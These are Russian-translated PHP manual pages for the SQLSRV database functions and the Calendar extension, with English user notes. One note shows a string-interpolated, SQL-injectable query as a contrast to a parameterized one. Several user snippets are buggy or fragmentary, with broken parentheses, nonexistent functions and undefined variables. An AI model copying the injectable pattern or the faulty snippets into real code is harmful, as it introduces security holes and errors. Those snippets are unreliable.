Когда вы подготавливаете запрос, который использует переменные в качестве параметров, переменные привязываются к оператору. Это означает, что если вы обновите значения переменных, в следующий раз, когда вы выполните запрос, он будет работать с обновлёнными значениями параметров. Для операторов, которые вы планируете выполнить только один раз, используйте sqlsrv_query().

Смотрите также

  • sqlsrv_execute() - Выполняет запрос, подготовленный с помощью sqlsrv_prepare
  • sqlsrv_query() - Подготавливает и выполняет запрос

User Contributed Notes

tuxedobob 12-Aug-2015 08:54
Be careful with your variables once you bind them to a statement with sqlsrv_prepare.

Consider the following:

<?php
$dude = '';
$time = new DateTime();
$sql = "INSERT INTO my_table (person, timein) VALUES (?, ?)";
$stmt = sqlsrv_prepare($conn, $sql, array(&$dude, &$time));

...
// many lines later

foreach ($times as &$time) {
   //do stuff
}

// later still...
$time = $times['start'];
if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
}
?>

I did something like this. I prepared a statement at the start, used the variable again in the middle, and then set the value I wanted before running the query.

Trouble is, I used the variable as an iterator instead of a simple scalar. This caused PHP to use a different location in memory, and the location it was previously bound to was invalid. So SQL simply inserted a default date/time.

Worse, because SQL just inserted a default, it didn't throw any errors, and in trying to debug it, I did something like this:

<?php
var_dump($time);
sqlsrv_execute($stmt);
$q = "SELECT * FROM my_table WHERE id=@@IDENTITY";
$r = sqlsrv_query($conn, $q);
$row = sqlsrv_fetch_array($r); $id = $row[0];
var_dump($row['time']);
?>

Having it appear as though you're sending SQL the correct data, and seeing it spitting back something else entirely is absolutely maddening.

So if SQL seems to be inserting garbage with prepared statements, MAKE SURE YOU'RE NOT USING THE VARIABLES ANYWHERE ELSE.
matt at bigbadweb dot co dot uk 10-Jul-2014 10:07
Example of how to formally specify the params, AND get output.
<?php

// Setup connection
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
  die( print_r( sqlsrv_errors(), true));
}

// specify params - MUST be a variable that can be passed by reference!
$myparams['Item_ID'] = intval(-2);
$myparams['Item_Name'] = "Foo";

// Set up the proc params array - be sure to pass the param by reference
$procedure_params = array(
 array(&$myparams['Item_ID'], SQLSRV_PARAM_OUT),
 array(&$myparams['Item_Name'], SQLSRV_PARAM_OUT)
);

// EXEC the procedure, {call stp_Create_Item (@Item_ID = ?, @Item_Name = ?)} seems to fail with various errors in my experiments
$sql = "EXEC stp_Create_Item @Item_ID = ?, @Item_Name = ?";

$stmt = sqlsrv_prepare($conn, $sql, $procedure_params);

if( !$stmt ) {
 die( print_r( sqlsrv_errors(), true));
}

if(sqlsrv_execute($stmt)){
  while($res = sqlsrv_next_result($stmt)){
    // make sure all result sets are stepped through, since the output params may not be set until this happens
  }
  // Output params are now set,
  print_r($params);
  print_r($myparams);
}else{
  die( print_r( sqlsrv_errors(), true));
}
?>


Подготавливает и выполняет запрос

  • « sqlsrv_prepare
  • sqlsrv_rollback »
  • PHP Manual
  • Функции SQLSRV
  • Подготавливает и выполняет запрос

sqlsrv_query

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_query — Подготавливает и выполняет запрос

Описание

sqlsrv_query(
resource $conn,
string $sql,
array $params = ?,
array $options = ?
): mixed

Подготавливает и выполняет запрос.

Список параметров

conn

Ресурс подключения, возвращаемый sqlsrv_connect().

sql

Строка, определяющая запрос, который нужно подготовить и выполнить.

params

Массив, определяющий информацию о параметрах при выполнении параметризованного запроса. Элементы массива могут быть любыми из следующих:

  • Строкового значения
  • Переменной PHP
  • Массива со следующей структурой: array($value [, $direction [, $phpType [, $sqlType]]])
В следующей таблице описаны элементы в структуре массива выше:

Структура массива
Элемент | Описание
$value | Строковое значение, переменная PHP или переменная PHP, переданная по ссылке.
$direction (optional) | Одна из следующих констант SQLSRV, используемых для указания направления параметра: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. Значение по умолчанию - SQLSRV_PARAM_IN.
$phpType (optional) | Константа SQLSRV_PHPTYPE_*, указывающая тип данных PHP возвращаемого значения.
$sqlType (optional) | Константа SQLSRV_SQLTYPE_*, указывающая тип данных SQL Server входного значения.
options

Массив, определяющий параметры свойств запроса. Поддерживаемые ключи описаны в следующей таблице:

Свойства запроса
Ключ | Значения | Описание
QueryTimeout | Положительное целочисленное значение. | Устанавливает время ожидания запроса в секундах. По умолчанию драйвер будет ждать результатов бесконечно.
SendStreamParamsAtExec | true или false (по умолчанию true) | Настраивает драйвер для отправки всех данных потока при выполнении (true) или для отправки данных потока частями (false). По умолчанию установлено значение true. Для получения дополнительной информации смотрите sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, или SQLSRV_CURSOR_KEYSET | Смотрите » Указание типа курсора и выбор строк в документации Microsoft SQLSRV.

Возвращаемые значения

Возвращает ресурс выражения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_query()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "INSERT INTO Table_1 (id, data) VALUES (?, ?)";
$params = array(1, "some data");

$stmt = sqlsrv_query( $conn, $sql, $params);
if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}
?>

Примечания

Для операторов, которые вы планируете выполнить только один раз, используйте sqlsrv_query(). Если вы намереваетесь повторно выполнить выражение с другими значениями параметров, используйте комбинацию sqlsrv_prepare() и sqlsrv_execute().

Смотрите также

  • sqlsrv_prepare() - Подготавливает запрос к исполнению
  • sqlsrv_execute() - Выполняет запрос, подготовленный с помощью sqlsrv_prepare

User Contributed Notes

erikpsundberg at gmail dot com 08-Mar-2020 06:24
2 Working Example

print "<h1>SQL Query non PDO</h1>";
print "<h2>Connection</h2>";
$connectionInfo = array( "Database"=>$sql_database, "UID"=>$sql_username, "PWD"=>$sql_password );
$conn = sqlsrv_connect( $sql_server, $connectionInfo);

if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
} else {
    print "Good DB Connection: $conn<br>";
}

print "<h2>Query Example 1 | Fetching by Associate Array</h2>";
$sql = "SELECT username, active FROM users WHERE username = '$username'";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql);
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by array
while($row = sqlsrv_fetch_array($result, SQLSRV_FETCH_ASSOC)) {
    print_r($row);
}

print_line();
print "<h2>Query Example 2 | injection protection | Fetching by Object</h2>";
$sql = "SELECT username, active FROM users WHERE username = ?";
print "SQL: $sql\n";
$result = sqlsrv_query($conn, $sql, array($username));
if($result === false) {
    die(print_r(sqlsrv_errors(), true));
}
#Fetching Data by object
while($row = sqlsrv_fetch_object($result)) {
    print_r($row);
}

--------------------------------------------------
Result

Connection
Good DB Connection: Resource id #2
Query Example 1 | Fetching by Associate Array
SQL: SELECT username, active FROM users WHERE username = 'admin'
Array
(
    [username] => admin
    [active] => 1
)
######################################################################
Query Example 2 | injection protection | Fetching by Object
SQL: SELECT username, active FROM users WHERE username = ?
stdClass Object
(
    [username] => admin
    [active] => 1
)
anon at example dot com 05-Sep-2018 09:57
Note that you can get multiple results when executing a single query, for example:

    <?php
    $stmt = sqlsrv_query($conn, "use dbname; select 1");
    ?>

Running the same query in tsql or management studio works as expected. However, with sqlsrv_* functions, this gives you two result sets -- one for the "use" and one for the "select".

    <?php
    // Advance the result pointer from "use" to "select"
    sqlsrv_next_result($stmt);

    // Now you can read the "1"
    print_r(sqlsrv_fetch_array($stmt));
    ?>

For a complex query that begins by creating/populating temporary tables, you will need to advance the result pointer past such statements to get data from the final select statement. In older PHP versions (using FreeTDS-based mssql connectivity at least), you'd get only the last result so didn't need to take this into account.
vavra at 602 dot cz 17-Jan-2018 08:47
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
bill_spam0001 at yahoo dot com 27-May-2013 11:32
If you are getting an error while attempting to execute your query, and the output of sqlsrv_errors(SQLSRV_ERR_ERRORS) is this:

SQLSTATE: IMSSP
code: -14
message: An invalid parameter was passed to sqlsrv_query.

You have failed to pass a valid parameter to sqlsrv_query itself, which could be one of three parameters:
Connection: a valid handled for a SQL Server Connection
Query: a valid string containing your query, with placeholders for parameters:"(?)"
Parameters: An Array containing the values for your query parameters.  (optional, but much match the number of placeholders in your Query.

I could not find any information about this error, and it turned out to be a missing connection parameter. In my case I found I had typed "$connn" instead of "$conn" in the code:
if ($stmt=sqlsrv_query($conn, $sql, $params)) { ...

While this seems like a total "noobie" thing to do, the fact of the matter is there is very little information about this SQL Server Error message itself. So, the plain meaning of SQLSTATE "IMSSP", CODE "-14" is that you provided no valid connection object to your sqlsrv_query function.

This message may appear baffling, especially if you have several occurrences of sqlsrv_query on a page, and you may have added a new occurrence after you closed your connection.

Since I wasted an enormous amount of time tracing the normal channels, I thought referencing this error here would provide some help. In was hung up on "parameter" and was thinking it was a bad parameter object, and overlooked passing an undefined connection object to sqlsrv_query
oleg at mastak dot fi 12-Nov-2012 07:31
If you hit an error "[Microsoft][ODBC Driver Manager] Invalid cursor state " when you specify valid Scrollable cursor, please check following bug report:

https://bugs.php.net/bug.php?id=63498

There is currently a bug that requires options Scrollable to be specified before QueryTimeout in corresponding array.
bill_spam0001 at yahoo dot com 27-Feb-2012 08:42
Tip: It may seem obvious, but you need to trim your strings down to fit in the database field you are saving them to via a parametrized query or a stored procedure. (IE: only submit up to 20 characters to a VARCHAR(20) database field). If you send a larger string to the query then it can handle, you will get an error.

When cleaning up your strings, you will most likely find yourself using the php substr() function. This function will return, as documented, a boolean FALSE value when presented with an empty string. Not minding this boolean FALSE value will cause "0" to be saved in your database tables instead of an empty string.

Since trimming your input is also important, the simple and intuitive solution for this is to trim your substr() output, which will consistently supply and empty string, not boolean FALSE.

So this will always work:
<?php
//trim last returns our empty string as a data type of string
$address_line_2 = trim(substr($_POST['addr2']),0,30));

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>
This second way will give seemingly unexpected data in your database.
<?php
//if the result of trimming our post variable is "" (empty), substr() will return FALSE
$address_line_2 = substr(trim($_POST['addr2'])),0,30);

//$address_line_2 actually === FALSE, not ""
echo gettype($address_line_2);  //outputs boolean

//executing a database query will save "0" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

You can also cast the type as a string using,
which will cast the boolean false back to the expected Empty String.
<?php

$address_line_2 = (string)substr(trim($_POST['addr2'])),0,30);

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

I didn't notice this behavior until switching to IIS7, PHP 5.3.8 and SQL Server 2008.  But the behavior also is exhibited with IIS7, PHP 5.2 and SQL Server 2008.


Откатывает транзакцию, начатую sqlsrv_begin_transaction

  • « sqlsrv_query
  • sqlsrv_rows_affected »
  • PHP Manual
  • Функции SQLSRV
  • Откатывает транзакцию, начатую sqlsrv_begin_transaction

sqlsrv_rollback

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_rollback — Откатывает транзакцию, начатую sqlsrv_begin_transaction()

Описание

sqlsrv_rollback(resource $conn): bool

Откатывает транзакцию, начатую sqlsrv_begin_transaction() и возвращает соединение с режимом автоматической фиксации.

Список параметров

conn

Ресурс подключения, возвращаемый вызовом sqlsrv_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_rollback()

В следующем примере показано, как использовать sqlsrv_begin_transaction() вместе с sqlsrv_commit() или sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Начало транзакции. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Инициализация значений параметров. */
$orderId = 1; $qty = 10; $productId = 100;

/* Настройка и выполнение первого запроса */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Настройка и выполнение второго запроса */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* Если оба запроса выполнены успешно, зафиксируйте транзакцию. */
/* В противном случае, откатите транзакцию. */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Транзакция зафиксирована.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Транзакция откачена.<br />";
}
?>

Смотрите также

  • sqlsrv_begin_transaction() - Начинает транзакцию базы данных
  • sqlsrv_commit() - Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE

  • « sqlsrv_rollback
  • sqlsrv_send_stream_data »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE

sqlsrv_rows_affected

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_rows_affected — Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE

Описание

sqlsrv_rows_affected(resource $stmt): int|false

Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE. Для получения информации о количестве строк, возвращаемых запросом SELECT, смотрите sqlsrv_num_rows().

Список параметров

stmt

Ресурс выполненного выражения, для которого возвращается количество затронутых строк.

Возвращаемые значения

Возвращает количество строк, затронутых последним запросом INSERT, UPDATE или DELETE. Если никакие строки не были затронуты, возвращается 0. Если количество затронутых строк не может быть определено, возвращается -1. В случае возникновения ошибки возвращается false.

Примеры

Пример #1 Пример использования sqlsrv_rows_affected()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ? WHERE id = ?";

$params = array("updated data", 1);

$stmt = sqlsrv_query( $conn, $sql, $params);

$rows_affected = sqlsrv_rows_affected( $stmt);
if( $rows_affected === false) {
die( print_r( sqlsrv_errors(), true));
} elseif( $rows_affected == -1) {
echo "Нет доступной информации.<br />";
} else {
echo $rows_affected." строк было обновлено.<br />";
}
?>

Смотрите также

  • sqlsrv_num_rows() - Получает количество строк в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные из потоков параметров на сервер

  • « sqlsrv_rows_affected
  • sqlsrv_server_info »
  • PHP Manual
  • Функции SQLSRV
  • Отправляет данные из потоков параметров на сервер

sqlsrv_send_stream_data

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_send_stream_data — Отправляет данные из потоков параметров на сервер

Описание

sqlsrv_send_stream_data(resource $stmt): bool

Отправлять данные из потоков параметров на сервер. При каждом вызове отправляется до 8 КБ данных.

Список параметров

stmt

Ресурс выражения, возвращаемый sqlsrv_query() или sqlsrv_execute().

Возвращаемые значения

Возвращает true, если есть ещё данные для отправки и false, если нет.

Примеры

Пример #1 Пример использования sqlsrv_send_stream_data()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ( ?) WHERE id = 100";

// Откройте данные параметров как поток и поместите их в массив $params.
$data = fopen( "data://text/plain,[ Lengthy content here. ]", "r");
$params = array( &$data);

// Подготовьте выражение. Используйте массив $options, чтобы
// отключить поведение по умолчанию, которое заключается в отправке всех данных
// потока во время выполнения запроса.
$options = array("SendStreamParamsAtExec"=>0);
$stmt = sqlsrv_prepare( $conn, $sql, $params, $options);

sqlsrv_execute( $stmt);

// Отправляйте до 8 КБ данных параметров на сервер
// при каждом вызове sqlsrv_send_stream_data.
$i = 1;
while( sqlsrv_send_stream_data( $stmt)) {
$i++;
}
echo "$i вызовов было сделано.";
?>

Смотрите также

  • sqlsrv_prepare() - Подготавливает запрос к исполнению
  • sqlsrv_query() - Подготавливает и выполняет запрос

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о сервере

  • « sqlsrv_send_stream_data
  • Модули для работы с датой и временем »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает информацию о сервере

sqlsrv_server_info

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_server_info — Возвращает информацию о сервере

Описание

sqlsrv_server_info(resource $conn): array

Возвращает информацию о сервере.

Список параметров

conn

Ресурс подключения, который соединяет клиент и сервер.

Возвращаемые значения

Возвращает массив, описанный в таблице:

Возвращаемый массив
CurrentDatabase | Подключённая база данных.
SQLServerVersion | Версия SQL Server.
SQLServerName | Имя сервера.

Примеры

Пример #1 Пример использования sqlsrv_server_info()

<?php
$serverName = "serverName\sqlexpress";
$conn = sqlsrv_connect( $serverName);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$server_info = sqlsrv_server_info( $conn);
if( $server_info )
{
foreach( $server_info as $key => $value) {
echo $key.": ".$value."<br />";
}
} else {
die( print_r( sqlsrv_errors(), true));
}
?>

Смотрите также

  • sqlsrv_client_info() - Возвращает информацию о клиенте и указанном подключении

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с датой и временем

  • Календарь
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Календарь
  • Дата/время — Дата и время
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • DateTime — Класс DateTime
    • DateTimeImmutable — Класс DateTimeImmutable
    • DateTimeInterface — Интерфейс DateTimeInterface
    • DateTimeZone — Класс DateTimeZone
    • DateInterval — Класс DateInterval
    • DatePeriod — Класс DatePeriod
    • Функции даты и времени
    • Date/Time Errors and Exceptions
    • Допустимые форматы даты/времени
    • Список поддерживаемых часовых поясов
    • DateError — The DateError class
    • DateObjectError — The DateObjectError class
    • DateRangeError — The DateRangeError class
    • DateException — The DateException class
    • DateInvalidOperationException — The DateInvalidOperationException class
    • DateInvalidTimeZoneException — The DateInvalidTimeZoneException class
    • DateMalformedIntervalStringException — The DateMalformedIntervalStringException class
    • DateMalformedPeriodStringException — The DateMalformedPeriodStringException class
    • DateMalformedStringException — The DateMalformedStringException class
  • HRTime — Время высокого разрешения
    • Введение
    • Установка и настройка
    • Примеры
    • HRTime\PerformanceCounter — Класс HRTime\PerformanceCounter
    • HRTime\StopWatch — Класс HRTime\StopWatch
    • HRTime\Unit — Класс HRTime\Unit

User Contributed Notes

There are no user contributed notes for this page.


Календарь

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Календарь
    • cal_days_in_month — Возвращает количество дней в месяце для заданного года и календаря
    • cal_from_jd — Преобразует дату, заданную в юлианском календаре, в дату указанного календаря
    • cal_info — Возвращает информацию о заданном календаре
    • cal_to_jd — Преобразует заданную дату в юлианскую
    • easter_date — Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году
    • easter_days — Получить количество дней между 21 марта и Пасхой в заданном году
    • frenchtojd — Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении
    • gregoriantojd — Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении
    • jddayofweek — Возвращает день недели
    • jdmonthname — Возвращает название месяца
    • jdtofrench — Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю
    • jdtogregorian — Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю
    • jdtojewish — Переводит количество дней из юлианского календаря в дату по еврейскому календарю
    • jdtojulian — Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю
    • jdtounix — Переводит число дней в юлианском летоисчислении в метку времени Unix
    • jewishtojd — Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении
    • juliantojd — Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении
    • unixtojd — Переводит метку времени Unix в юлианский день

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль календарь предоставляет ряд функций для упрощения перевода дат из одного формата в другой. Промежуточной датой или стандартом является исчисление с Юлианского дня. Исчисление с Юлианского дня - это исчисление, начинающееся с 1 января 4713г. до н.э. Для конвертации между календарными форматами сначала нужно перевести дату в Юлианское исчисление, а затем в любой другой календарный формат на ваш выбор. Юлианское исчисление сильно отличается от Юлианского календаря! Для более подробной информации посетите страницу » http://www.hermetic.ch/cal_stud/jdn.htm. Подробная информации по календарным форматам: » http://www.fourmilab.ch/documents/calendar/. Выдержки из этой страницы включены в инструкцию и заключены в кавычки.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для работы с данными функциями нужно скомпилировать PHP c --enable-calendar.

Версия PHP для Windows имеет встроенную поддержку данного модуля. Это означает, что для использования данных функций не требуется загрузка никаких дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

CAL_EASTER_DEFAULT (int)
Для easter_days(): вычислять Пасху для лет до 1753 года по юлианскому календарю, а в последующие годы по григорианскому календарю.
CAL_EASTER_ROMAN (int)
Для easter_days(): вычислять Пасху для лет до 1583 года по юлианскому календарю, а в последующие годы по григорианскому календарю.
CAL_EASTER_ALWAYS_GREGORIAN (int)
Для easter_days(): вычислять Пасху в соответствии с пролептическим григорианским календарём.
CAL_EASTER_ALWAYS_JULIAN (int)
Для easter_days(): вычислять Пасху в соответствии с юлианским календарём.
CAL_GREGORIAN (int)
Для cal_days_in_month(),
cal_from_jd(), cal_info() и
cal_to_jd(): использовать пролептический григорианский календарь.
CAL_JULIAN (int)
Для cal_days_in_month(),
cal_from_jd(), cal_info() и
cal_to_jd(): использовать юлианский календарь.
CAL_JEWISH (int)
Для cal_days_in_month(),
cal_from_jd(), cal_info() и
cal_to_jd(): использовать еврейский календарь.
CAL_FRENCH (int)
Для cal_days_in_month(),
cal_from_jd(), cal_info() и
cal_to_jd(): использовать французский республиканский календарь.
CAL_NUM_CALS (int)
Количество доступных календарей.
CAL_JEWISH_ADD_ALAFIM_GERESH (int)
Для jdtojewish(): добавляет знак гореш (geresh), напоминающий одинарную кавычку в качестве разделителя тысяч для количества лет.
CAL_JEWISH_ADD_ALAFIM (int)
Для jdtojewish(): добавляет слово alafim в качестве разделителя тысяч для количества лет.
CAL_JEWISH_ADD_GERESHAYIM (int)
For jdtojewish(): добавить символ гершаим (gershayim), напоминающий двойную кавычку перед последней буквой дня и числом лет
CAL_DOW_DAYNO (int)
Для jddayofweek(): день недели в виде целого числа (int), где 0 означает воскресенье, а 6 означает субботу.
CAL_DOW_SHORT (int)
Для jddayofweek(): сокращённое английское название дня недели.
CAL_DOW_LONG (int)
Для jddayofweek(): английское название дня недели.
CAL_MONTH_GREGORIAN_SHORT (int)
Для jdmonthname(): сокращённое григорианское название месяца.
CAL_MONTH_GREGORIAN_LONG (int)
Для jdmonthname(): григорианское название месяца.
CAL_MONTH_JULIAN_SHORT (int)
Для jdmonthname(): сокращённое юлианское название месяца.
CAL_MONTH_JULIAN_LONG (int)
Для jdmonthname(): юлианское название месяца.
CAL_MONTH_JEWISH (int)
Для jdmonthname(): еврейское название месяца.
CAL_MONTH_FRENCH (int)
Для jdmonthname(): французское республиканское название месяца.

User Contributed Notes

There are no user contributed notes for this page.


Календарь

Содержание

  • cal_days_in_month — Возвращает количество дней в месяце для заданного года и календаря
  • cal_from_jd — Преобразует дату, заданную в юлианском календаре, в дату указанного календаря
  • cal_info — Возвращает информацию о заданном календаре
  • cal_to_jd — Преобразует заданную дату в юлианскую
  • easter_date — Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году
  • easter_days — Получить количество дней между 21 марта и Пасхой в заданном году
  • frenchtojd — Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении
  • gregoriantojd — Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении
  • jddayofweek — Возвращает день недели
  • jdmonthname — Возвращает название месяца
  • jdtofrench — Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю
  • jdtogregorian — Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю
  • jdtojewish — Переводит количество дней из юлианского календаря в дату по еврейскому календарю
  • jdtojulian — Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю
  • jdtounix — Переводит число дней в юлианском летоисчислении в метку времени Unix
  • jewishtojd — Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении
  • juliantojd — Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении
  • unixtojd — Переводит метку времени Unix в юлианский день

User Contributed Notes

Anonymous 17-Sep-2021 07:16
<?php

class HijriCalendar
{
    public static function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "Moharram", "Safar", "Rabii-I", "Rabii-II",
            "Jumada-I", "Jumada-II", "Rajab", "Chaaban",
            "Ramadan", "Chawal", "Dhu-al-Qiida", "Dhu-al-Hijja"
        );
        return $month[$i-1];
    }

    public static function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    public static function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    public static function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    public static function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
obaida dot habboush at gmail dot com 25-Sep-2017 11:39
Hello ,

there is a mistake with function name

at class HijriCalendar {
.
.
.
.
.
.
function HijriToGregorian($m, $d, $y)
    {
        ////  jd_to_cal -> It Should Be -> cal_to_jd
        return jd_to_cal(CAL_GREGORIAN, HijriCalendar::HijriToJD($m, $d, $y));
    }
}
simon at chronolabs dot org dot au 20-Nov-2007 12:20
<?php

// You need to replace this section in Function EgyptianCalendar
// As well as Function MayanTihkalCalendar
$revolutionsperyear = $ttl_num / $i;
$numyears = floor((ceil($roun) / $revolutionsperyear));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));
while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($roun<0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-($tt-1);
                        $month = $avg_num_month-($t-1);
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}
?>

